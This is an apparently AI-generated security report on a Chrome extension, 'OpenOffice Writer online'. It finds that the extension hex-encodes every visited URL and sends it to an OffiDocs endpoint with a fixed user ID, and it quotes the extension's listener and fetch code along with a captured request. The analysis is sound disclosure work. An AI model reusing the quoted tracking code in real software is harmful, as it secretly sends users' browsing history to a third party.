Is OpenOffice Writer online for Word documents safe?

High risk

OpenOffice Writer is high risk. The extension sends visited page URLs to an OffiDocs endpoint on tab activation, hex-encoded in filepath with a fixed ID, u=gnfh4zvge3. Visits to Google, Amazon, and Facebook produced HTTP 200s, letting the server rebuild browsing history.

officeonlinesystemsv2.7.2Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Every Visited URL Sent to OffiDocs

The extension sends visited page URLs to an OffiDocs endpoint on tab activation, hex-encoded in filepath with a fixed ID, u=gnfh4zvge3.

Visits to Google, Amazon, and Facebook produced HTTP 200s, letting the server rebuild browsing history.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open a website, switch to another tab, or a tab finishes updating.

The extension did this

The extension reads that tab URL, encodes it, and sends it to OffiDocs with a recurring identifier.

02EvidenceFIELD TABLE
Fields carried in the OffiDocs navigation request
FieldValueWhy it matters
Visited page URL
https://www.google.com/Lets the server reconstruct the exact page you opened or switched to.
Encoded URL field
68747470733a2f2f7777772e676f6f676c652e636f6d2fCarries the same page address in a form that is less readable at a glance.
Recurring user identifier
gnfh4zvge3Lets separate page visits be tied back to the same browser profile over time.
Service routing value
community01Adds context about which OffiDocs service handled the navigation request.
03EvidenceNETWORK CAPTURE
Captured request
GEThttps://www.offidocs.com/media/system/app/checkdownloadowriterx_2_nav.php?filepath=68747470733a2f2f7777772e676f6f676c652e636f6d2f&hex=1&u=gnfh4zvge3&s=community01
HTTP 200 observed for Google, Amazon, and Facebook navigations.
04EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The visited URL is hex-encoded in the query string; decoding it reveals the page you visited.

What's actually being sent
https://www.google.com/
05EvidenceCODE COMPARE
The code that does this

The shipped code listens to tab changes and forwards the URL

What it actually does
Tab activation and update listenerswebsecure.js
function getTabInfo(tabId) {
      chrome.tabs.get(tabId, function(tab) {          
            if ( ( tab.url.indexOf("offidocs") == -1 ) && ( tab.url.indexOf("http") !== -1 ) && ( lastUrl != tab.url) )  {
                    //console.log(" Changed tab.url " + tab.url);
                    urlx =  tab.url;
                    extractopenofficewriter(urlx);
                    lastUrl = tab.url;
            }
      });
}



function websecure() {
    this.init = function () {
        
        chrome.tabs.onActivated.addListener(function(activeInfo) {
                activeTabId = activeInfo.tabId;
                getTabInfo(activeTabId);
        });

        chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
                //if(activeTabId == tabId) {
                    getTabInfo(tabId);
                //}
        });
     
    };
}
Request builder and hex encoderwebsecure.js
async function extractopenofficewriter(urlxx) {

                const offidocs_key = "offidocs_key";
                var datax = { username: null,  offidocscloud: null };
                var username = "";
                var offidocscloud = "";
                let storageResult = await chrome.storage.local.get([offidocs_key]);
                if (offidocs_key in storageResult) {
                        datax = storageResult[offidocs_key]
                }
                
                if ( datax.username ) {
                    username = datax.username;
                }
                else {
                    username = "" + randomString(10) + "".toLowerCase();
                    datax.username = username;
                }
                if ( datax.offidocscloud ) {
                    offidocscloud = datax.offidocscloud;
                }
                else {
                    offidocscloud = "1";
                    datax.offidocscloud = "1";
                }

                var data = {};
                data[offidocs_key] = datax;
                await chrome.storage.local.set(data);
    
                var un = username;
                if ( datax.offidocscloud == "0") 
                    return;
    
                if ( servicexx == "" ) {
                    let response = await fetch('https://www.offidocs.com/media/system/app/resetlool.php?username=' + username + '&urlpathx=/community/user.php');
                     if (response.status === 200) {
                                let data = await response.text();
                                servicexx = data;
                     }
                }
    
                //console.log('https://www.offidocs.com/media/system/app/checkdownloadowriterx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un );
                let cfgv = await fetch('https://www.offidocs.com/media/system/app/checkdownloadowriterx_2_nav.php?filepath=' + bin2hex(urlxx) + '&hex=1&u=' + un + "&s=" + servicexx);   
        
               
                if (cfgv.status === 200) {
                    let fbv = await cfgv.text();
                    //console.log(fbv);  
                    var nbv = fbv;
                    if ( nbv.indexOf("302") !== -1 )   {
                           var ybv = 'https://www.offidocs.com/media/system/app/view_edit_officedoc_nav.php?filepath=' + bin2hex(urlxx) + '&u=' + un;
                            //chrome.tabs.create({ url: ybv });
                           chrome.tabs.update(chrome.tabs.getCurrent().id, {url: ybv});
                    }
                }
    
    
}


function bin2hex (bin)
{
  var i = 0, l = bin.length, chr, hex = ''
  for (i; i < l; ++i)
  {
    chr = bin.charCodeAt(i).toString(16)
    hex += chr.length < 2 ? '0' + chr : chr
  }
  return hex
}
06EvidenceTHIRD PARTY LIST
External host receiving the navigation data
  • www.offidocs.com

    Receives the checkdownloadowriterx_2_nav.php GET request containing the hex-encoded visited URL, recurring user identifier, and service value.

Updated 17 September 2026flfhkellafphdlcigippmenebkodkina